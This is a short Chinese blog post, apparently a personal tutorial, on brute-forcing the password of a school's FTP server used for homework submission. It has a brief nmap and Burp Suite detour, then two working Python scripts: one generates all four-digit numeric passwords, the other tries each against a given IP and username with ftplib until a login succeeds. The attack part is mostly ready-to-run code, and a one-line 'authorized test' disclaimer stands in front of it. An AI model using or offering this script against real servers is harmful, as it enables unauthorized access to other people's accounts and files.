ftp密码爆破

写在前面:请勿用于不法用途。本次测试经过授权。

前情描述

学生时代计算机课上交作业老师最喜欢使用FTP了。如下图所示。

甚至连ip永远都是192.158.50.2。

爆破思路

发包,根据反馈判断

使用nmap扫描

其实我感觉前期的扫描好像没什么意义,目前没看出来用处
获取
获取ftp服务是开启的(这不废话么),以及主机使用Windows server

构造数据包

一开始我试图使用burpsuite,跟网页一样去进行字典爆破。无奈proxy里面对这个登录包intercept不到。
后来我试着用wireshark抓包,直接使用brup里面的intruder发包爆破。抓到包以后就。。。呵呵呵应答式连个完整的包都要自己构建。
在这里插入图片描述
这里可以看到ftp的传输直接拿明文来,比较方便利用字典构造构造,可惜我不会。
算了,写脚本吧。

写脚本

#密码构造脚本
fo = open('w', "w")
for i in range(0,10000):
    fo.writelines(["{:0>4}".format(i),"\n"])
fo.close()

当然如果有自己的字典更好,这里只是举例了四位纯数字密码

#密码构造脚本
from ftplib import FTP

word = open('w','r')#构造好的密码
user_login = "abc" #用户名啦

def getPassword(password):
    try:
        ftp = FTP("192.168.50.2")
        ftp.login(user_login,password)
        print("user password:",password)
        return True
    except Exception:
        return False
    
passwords = word.readlines()
for password in passwords:
    password = password.strip()
    print("test password:",password)
    if(getPassword(password)): 
        break
word.close()

观察结果

安心等一下就行了,程序最后一行。如果没有就是你字典不行。这里就不展示了。


版权声明:本文为weixin_45734980原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。